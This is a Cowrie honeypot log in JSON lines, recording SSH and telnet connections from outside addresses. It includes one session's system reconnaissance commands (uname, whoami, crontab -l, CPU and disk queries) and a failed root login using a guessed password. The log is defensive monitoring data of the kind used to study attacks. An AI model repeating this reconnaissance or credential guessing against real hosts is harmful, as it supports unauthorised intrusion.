{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:44.235424Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.843403816223145,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:44.562036Z","src_ip":"209.126.87.217","session":"460c2abd532e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":60432,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8cca29eef1e","protocol":"telnet","message":"New connection: 139.162.207.207:60432 (10.17.0.5:23) [session: b8cca29eef1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:44.672328Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:44.781971Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:44.787067Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:44.791249Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:45.056895Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:45.236065Z","src_ip":"159.203.92.129","session":"838090453d81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.59189295768738,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:45.467494Z","src_ip":"139.162.207.207","session":"995f05f170a5","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:45.617305Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:45.620954Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:45.880402Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:46.422828Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:46.426002Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:46.682218Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":53590,"dst_ip":"159.203.135.109","dst_port":23,"session":"e18755aa6ef6","protocol":"telnet","message":"New connection: 209.126.87.217:53590 (159.203.135.109:23) [session: e18755aa6ef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:46.905026Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:47.238948Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:47.242580Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":60434,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a4a7eaba11a","protocol":"telnet","message":"New connection: 139.162.207.207:60434 (10.17.0.5:23) [session: 0a4a7eaba11a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:47.254071Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:47.501285Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:48.048541Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:48.051323Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:48.309758Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:48.863572Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:48.867065Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:49.126506Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:49.677864Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:49.680553Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:49.936620Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:50.484485Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:50.487035Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.61532688140869,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:50.692833Z","src_ip":"209.126.87.217","session":"1400c5ffe2b6","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:50.745155Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:51.292957Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:51.295799Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:51.553330Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":60448,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1775c8ec30c","protocol":"telnet","message":"New connection: 139.162.207.207:60448 (10.17.0.5:23) [session: c1775c8ec30c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:51.600680Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:52.099357Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:52.101675Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:52.360243Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:52.912220Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:52.915647Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:53.177480Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.3","message":"Connection lost after 21.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:53.182548Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.825745820999146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:53.230585Z","src_ip":"209.126.87.217","session":"da361862c344","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":55620,"dst_ip":"159.203.135.109","dst_port":23,"session":"c914c95f7713","protocol":"telnet","message":"New connection: 209.126.87.217:55620 (159.203.135.109:23) [session: c914c95f7713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:54.323276Z"}
{"eventid":"cowrie.session.closed","duration":32.271708965301514,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:57.156609Z","src_ip":"139.162.207.207","session":"b0c58d8adf5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":55634,"dst_ip":"159.203.135.109","dst_port":23,"session":"155d98bc01c1","protocol":"telnet","message":"New connection: 209.126.87.217:55634 (159.203.135.109:23) [session: 155d98bc01c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:57.727484Z"}
{"eventid":"cowrie.session.closed","duration":35.73319864273071,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:59.692962Z","src_ip":"139.162.207.207","session":"27d91400d531","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.944162845611572,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:00.026978Z","src_ip":"209.126.87.217","session":"f61304c7bf4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":55056,"dst_ip":"159.203.135.109","dst_port":22,"session":"35f2b06f2d7c","protocol":"ssh","message":"New connection: 103.146.202.174:55056 (159.203.135.109:22) [session: 35f2b06f2d7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:01.970015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:01.975379Z","src_ip":"103.146.202.174","session":"35f2b06f2d7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:02.247981Z","src_ip":"103.146.202.174","session":"35f2b06f2d7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":51408,"dst_ip":"10.17.0.5","dst_port":23,"session":"9287559073ea","protocol":"telnet","message":"New connection: 139.162.207.207:51408 (10.17.0.5:23) [session: 9287559073ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:03.034151Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678?","message":"login attempt [root/12345678?] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:03.268040Z","src_ip":"103.146.202.174","session":"35f2b06f2d7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":51410,"dst_ip":"10.17.0.5","dst_port":23,"session":"694958264db8","protocol":"telnet","message":"New connection: 139.162.207.207:51410 (10.17.0.5:23) [session: 694958264db8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:03.461776Z"}
{"eventid":"cowrie.session.closed","duration":31.885315418243408,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:04.235936Z","src_ip":"209.126.87.217","session":"e7cd5f39d109","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.15856742858887,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:04.476512Z","src_ip":"139.162.207.207","session":"1ef2eb869cf3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:04.517650Z","src_ip":"103.146.202.174","session":"35f2b06f2d7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.887378215789795,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:05.496890Z","src_ip":"209.126.87.217","session":"9e76854a5d51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.70959401130676,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:06.159663Z","src_ip":"139.162.207.207","session":"0bc95e86b4d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04482340812683,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:07.438560Z","src_ip":"209.126.87.217","session":"18fe8538e7d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.46266961097717,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:08.197346Z","src_ip":"139.162.207.207","session":"3692d5666966","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.93779730796814,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:09.169514Z","src_ip":"139.162.207.207","session":"471ada7a0263","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.119.76.63","src_port":60742,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae46d3fbcef2","protocol":"ssh","message":"New connection: 160.119.76.63:60742 (159.203.135.109:22) [session: ae46d3fbcef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:11.886311Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:12.045693Z","src_ip":"160.119.76.63","session":"ae46d3fbcef2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.50985050201416,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:12.148827Z","src_ip":"139.162.207.207","session":"63258fcc79f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":50060,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c7aa4c1a860","protocol":"telnet","message":"New connection: 209.126.87.217:50060 (159.203.135.109:23) [session: 8c7aa4c1a860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:13.304218Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":51278,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7af104d14bb","protocol":"ssh","message":"New connection: 193.46.255.86:51278 (159.203.135.109:22) [session: f7af104d14bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:13.482555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:13.486983Z","src_ip":"193.46.255.86","session":"f7af104d14bb","protocol":"ssh"}
